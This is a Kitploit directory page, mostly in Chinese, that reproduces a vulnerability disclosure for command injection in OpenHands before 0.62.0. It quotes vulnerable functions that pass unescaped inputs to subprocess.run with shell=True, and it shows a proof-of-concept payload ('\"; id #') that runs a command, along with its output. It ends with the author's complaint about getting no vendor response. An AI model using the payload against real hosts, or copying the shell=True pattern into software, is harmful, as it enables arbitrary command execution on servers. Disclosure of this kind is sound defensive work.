Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
openhands-disclosure — openhands <0.62.0 中存在多个命令注入漏洞,攻击者可借此执行任意系统命令。 | Kitploit
工具/GitHubGitHub/edoardottt/openhands-disclosure
静态分析漏洞分析代码分析Web应用程序漏洞利用
GitHubedoardottt/openhands-disclosure

openhands-disclosure

openhands <0.62.0 中存在多个命令注入漏洞,攻击者可借此执行任意系统命令。

查看仓库
4312个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

摘要

openhands <0.62.0 中存在多个命令注入漏洞,攻击者可借此执行任意系统命令。

详情

该漏洞源于在启用 shell 的情况下使用 subprocess.run,且没有任何转义保护(例如 shlex,参考:https://semgrep.dev/docs/cheat-sheets/python-command-injection)

该漏洞存在于文件 openhands/resolver/send_pull_request.py 中,具体位于以下函数:

  • initialize_repo:此处可将 payload 插入输入值 base_commit 中
def initialize_repo(
    output_dir: str, issue_number: int, issue_type: str, base_commit: str | None = None
) -> str:
    """Initialize the repository.

    Args:
        output_dir: The output directory to write the repository to
        issue_number: The issue number to fix
        issue_type: The type of the issue
        base_commit: The base commit to checkout (if issue_type is pr)
    """
    src_dir = os.path.join(output_dir, 'repo')
    dest_dir = os.path.join(output_dir, 'patches', f'{issue_type}_{issue_number}')

    if not os.path.exists(src_dir):
        raise ValueError(f'Source directory {src_dir} does not exist.')

    if os.path.exists(dest_dir):
        shutil.rmtree(dest_dir)

    shutil.copytree(src_dir, dest_dir)
    logger.info(f'Copied repository to {dest_dir}')

    # Checkout the base commit if provided
    if base_commit:
        result = subprocess.run(
            f'git -C {dest_dir} checkout {base_commit}',
            shell=True,
            capture_output=True,
            text=True,
        )
        if result.returncode != 0:
            logger.info(f'Error checking out commit: {result.stderr}')
            raise RuntimeError('Failed to check out commit')

    return dest_dir
  • make_commit:此处可将 payload 插入输入值 repo_dir、issue_type、git_user_name、git_user_email 中
def make_commit(
    repo_dir: str,
    issue: Issue,
    issue_type: str,
    git_user_name: str = 'openhands',
    git_user_email: str = '[email protected]',
) -> None:
    """Make a commit with the changes to the repository.

    Args:
        repo_dir: The directory containing the repository
        issue: The issue to fix
        issue_type: The type of the issue
        git_user_name: Git username for commits
        git_user_email: Git email for commits
    """
    # Check if git username is set
    result = subprocess.run(
        f'git -C {repo_dir} config user.name',
        shell=True,
        capture_output=True,
        text=True,
    )

    if not result.stdout.strip():
        # If username is not set, configure git with the provided credentials
        subprocess.run(
            f'git -C {repo_dir} config user.name "{git_user_name}" && '
            f'git -C {repo_dir} config user.email "{git_user_email}" && '
            f'git -C {repo_dir} config alias.git "git --no-pager"',
            shell=True,
            check=True,
        )
        logger.info(f'Git user configured as {git_user_name} <{git_user_email}>')

    # Add all changes to the git index
    result = subprocess.run(
        f'git -C {repo_dir} add .', shell=True, capture_output=True, text=True
    )
    if result.returncode != 0:
        logger.error(f'Error adding files: {result.stderr}')
        raise RuntimeError('Failed to add files to git')

    # Check the status of the git index
    status_result = subprocess.run(
        f'git -C {repo_dir} status --porcelain',
        shell=True,
        capture_output=True,
        text=True,
    )

    # If there are no changes, raise an error
    if not status_result.stdout.strip():
        logger.error(
            f'No changes to commit for issue #{issue.number}. Skipping commit.'
        )
        raise RuntimeError('ERROR: Openhands failed to make code changes.')

    # Prepare the commit message
    commit_message = f'Fix {issue_type} #{issue.number}: {issue.title}'

    # Commit the changes
    result = subprocess.run(
        ['git', '-C', repo_dir, 'commit', '-m', commit_message],
        capture_output=True,
        text=True,
    )
    if result.returncode != 0:
        raise RuntimeError(f'Failed to commit changes: {result}')
  • update_existing_pull_request:此处可将 payload 插入到输入值 patch_dir 中
def update_existing_pull_request(
    issue: Issue,
    token: str,
    username: str | None,
    platform: ProviderType,
    patch_dir: str,
    llm_config: LLMConfig,
    comment_message: str | None = None,
    additional_message: str | None = None,
    base_domain: str | None = None,
) -> str:
    """Update an existing pull request with the new patches.

    Args:
        issue: The issue to update.
        token: The  token to use for authentication.
        username: The username to use for authentication.
        platform: The platform of the repository.
        patch_dir: The directory containing the patches to apply.
        llm_config: The LLM configuration to use for summarizing changes.
        comment_message: The main message to post as a comment on the PR.
        additional_message: The additional messages to post as a comment on the PR in json list format.
        base_domain: The base domain for the git server (defaults to "github.com" for GitHub, "gitlab.com" for GitLab, and "dev.azure.com" for Azure DevOps)
    """
    # Set up headers and base URL for GitHub or GitLab API

    # Determine default base_domain based on platform
    if base_domain is None:
        base_domain = (
            'github.com'
            if platform == ProviderType.GITHUB
            else 'gitlab.com'
            if platform == ProviderType.GITLAB
            else 'dev.azure.com'
        )

    handler = None
    if platform == ProviderType.GITHUB:
        handler = ServiceContextIssue(
            GithubIssueHandler(issue.owner, issue.repo, token, username, base_domain),
            llm_config,
        )
    elif platform == ProviderType.AZURE_DEVOPS:
        # For Azure DevOps, owner is "organization/project"
        organization, project = issue.owner.split('/')
        handler = ServiceContextIssue(
            AzureDevOpsIssueHandler(token, organization, project, issue.repo),
            llm_config,
        )
    else:  # platform == ProviderType.GITLAB
        handler = ServiceContextIssue(
            GitlabIssueHandler(issue.owner, issue.repo, token, username, base_domain),
            llm_config,
        )

    branch_name = issue.head_branch

    # Prepare the push command
    push_command = (
        f'git -C {patch_dir} push '
        f'{handler.get_authorize_url()}'
        f'{issue.owner}/{issue.repo}.git {branch_name}'
    )

    # Push the changes to the existing branch
    result = subprocess.run(push_command, shell=True, capture_output=True, text=True)
    if result.returncode != 0:
        logger.error(f'Error pushing changes: {result.stderr}')
        raise RuntimeError('Failed to push changes to the remote repository')
# ...

PoC

这里我在 CLI 中提供一个简单的概念验证,不过上述函数的每一次调用都存在漏洞。

这是用于函数 make_commit() 的 payload:\"; id #。
作为众多示例之一,该 payload 可以通过 openhands 本地 Web GUI 设置。

Python 3.13.3 (main, Nov 24 2025, 20:53:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> git_user_name = '\"; id #'
>>> import subprocess
>>> subprocess.run(
...             f'git -C fakerepo config user.name "{git_user_name}"',
...             shell=True,
...             check=True,
...         )
fatal: cannot change to 'fakerepo': No such file or directory
uid=1000(edoardottt) gid=1000(edoardottt) groups=1000(edoardottt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),129(lxd),131(docker),133(libvirt)
CompletedProcess(args='git -C fakerepo config user.name ""; id #"', returncode=0)

影响

攻击者可以在服务器主机上执行任意命令。CIA 三要素的所有组成部分均受到影响:机密性、完整性和可用性。

致谢

Edoardo Ottavianelli (@edoardottt)

个人看法

我在 GitHub 上开启了一个私密安全公告,提交了一个 issue(随后被移至私有仓库),将近 1 年时间里没有一个人给我答复,去他的吧。 OpenHands 显然不知道如何处理安全问题,我为那些使用那玩意儿的人感到遗憾。

下载工具